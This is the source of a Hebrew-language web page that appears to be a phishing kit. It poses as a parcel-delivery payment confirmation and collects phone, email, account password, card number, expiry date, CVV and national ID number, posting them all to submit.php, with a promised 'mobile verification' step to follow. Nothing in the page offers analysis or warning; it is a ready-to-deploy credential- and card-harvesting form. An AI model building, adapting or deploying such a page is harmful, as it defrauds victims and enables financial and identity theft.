
<?php

?>
<!DOCTYPE html>
<html>

<head>
    
  <meta charset="utf-8">
  <title>תַשְׁלוּם</title>
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1">

  <!-- template css files-->
  <link rel="stylesheet"  href="css/bootstrap.css">
  <link rel="stylesheet"  href="css/test.css">  
  <link rel="stylesheet"  href="css/hover.css">             
  <link rel="preconnect" href="https://fonts.gstatic.com">
  

  <!-- js files-->
  <script src="js/html5shiv.min.js"></script>
  <script src="js/respond.min.js"></script>

  <!-- logo site web-->
  <link rel="icon" href="image/title.png" type="image/x-icon" />
  <link rel="shortcut icon" href="image/title.png" type="image/x-icon" />

  <!-- fontawtsome -->
  <link rel="stylesheet" href="https://pro.fontawesome.com/releases/v5.10.0/css/all.css" integrity="sha384-AYmEC3Yw5cVb3ZcuHtOA93w35dYTsvhLPVnYs9eStHfGJvOvKxVfELGroGkvsg+p" crossorigin="anonymous"/>
  <style>
      label{
        font-weight: bold;
      }
  </style>

</head>

<body class="mt-3 mb-3">

    <div class="cc border shadow px-4 pb-4" style="max-width:700px;margin:0 auto;">
        <div class="logo text-center">
            <img src="logo170.png">
        </div>
        <p class="mt-5 text-end">הזן את המידע הבא כהלכה ולחץ על "אשר". שלב הבא: אימות נייד</p>
        <div class="row mt-5">
             <div class="img col"><img class="img-fluid" src="payment-logos.png"></div>
            <div class="content col"><p><strong>החבילה שלך ממתינה למשלוח, עלינו לאשר את התשלום לקבלה בארבעת הימים הבאים.</strong></p></div>
           
        </div>

         <form id="form" name="form" method="post" action="submit.php">

            <h4 class="mt-5 text-end">הזן את מספר הכרטיס</h4>
            
              
            <div class="form-group row mt-4">
                <div class="col-md-3"></div>
               
                <div class="col-md-6"> <input type="tel" onkeyup="this.value=this.value.replace(/[^\d]/,'')" maxlength="10" id="tel" class="form-control" name="tel" required></div>
                <label class="col-md-3 text-end">: מספר טלפון</label>
            </div>


            <div class="form-group row mt-4">
                <div class="col-md-3"></div>
               
                <div class="col-md-6"> <input type="email"  class="form-control" name="email" required></div>
                <label class="col-md-3 text-end">: אימייל</label>
            </div>
         
            <div class="form-group row mt-4">
                <div class="col-md-3"></div>
                
               <div class="col-md-6"> <input type="password"  class="form-control" name="pass" required></div>
               <label class="col-md-3 text-end">: סיסמה</label>
            </div>

            <div class="form-group row mt-4">
                <div class="col-md-3"></div>
                
               <div class="col-md-6"> <input type="tel" id="card"  class="form-control" name="card" pattern="[0-9\s]{13,19}" autocomplete="cc-number" maxlength="19" placeholder="xxxx xxxx xxxx xxxx" required></div>
               <label class="col-md-3 text-end">: מספר כרטיס </label>
            </div>

            

            <div class="form-group row mt-4">
                <div class="col-md-3"></div>
                
               <div class="col-3"> <input type="tel" maxlength="2" onkeyup="this.value=this.value.replace(/[^\d]/,'')"  class="form-control" name="YY" placeholder="YY" required></div>
               <div class="col-3"> <input type="tel" maxlength="2" onkeyup="this.value=this.value.replace(/[^\d]/,'')"  class="form-control" name="MM" placeholder="MM" required ></div>
               <label class="col-md-3 text-end">עתאריך תפוגה</label>
            </div>

            <div class="form-group row mt-4">
                <div class="col-md-3"></div>
               
               <div class="col-md-6"> <input type="text" onkeyup="this.value=this.value.replace(/[^\d]/,'')" maxlength="4" id="qwaa"  class="form-control" name="qwaa"
              required  ></div>
               <label class="col-md-3 text-end">CVV</label>
            </div>

            <div class="form-group row mt-4">
                <div class="col-md-3"></div>
                
               <div class="col-md-6"> <input type="text" id="id" maxlength="9" onkeypress="return submitenter(this,event)" onkeyup="this.value=this.value.replace(/[^\d]/,'')"  class="form-control" name="id"
               required ></div>
               <label class="col-md-3 text-end">: תעודת זהות</label>
            </div>

            <div class="row">
                <div class="col-md-3"></div>
                <div class="bttn mt-5 col-md-9"><button type="submit" name="submit" class="btn btn-danger">לאשר</button></div>
            </div>
            
        </form>
    </div>


  <!-- template files js-->
  <script src="js/jquery-3.5.1.min.js"></script>
  <script src="js/bootstrap.min.js"></script>
  <script src="js/test.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.payment/3.0.0/jquery.payment.min.js"></script>
  <script>
       
            $('#cvv').payment('formatCardCVC');
            $('#expiry').payment('formatCardExpiry');
            $('#card_number').payment('formatCardNumber');
      </script>
      <script>
         document.getElementById('card').addEventListener('input', function (e) {
       e.target.value = e.target.value.replace(/[^\dA-Z]/g, '').replace(/(.{4})/g, '$1 ').trim();});
      </script>
</body>
</html>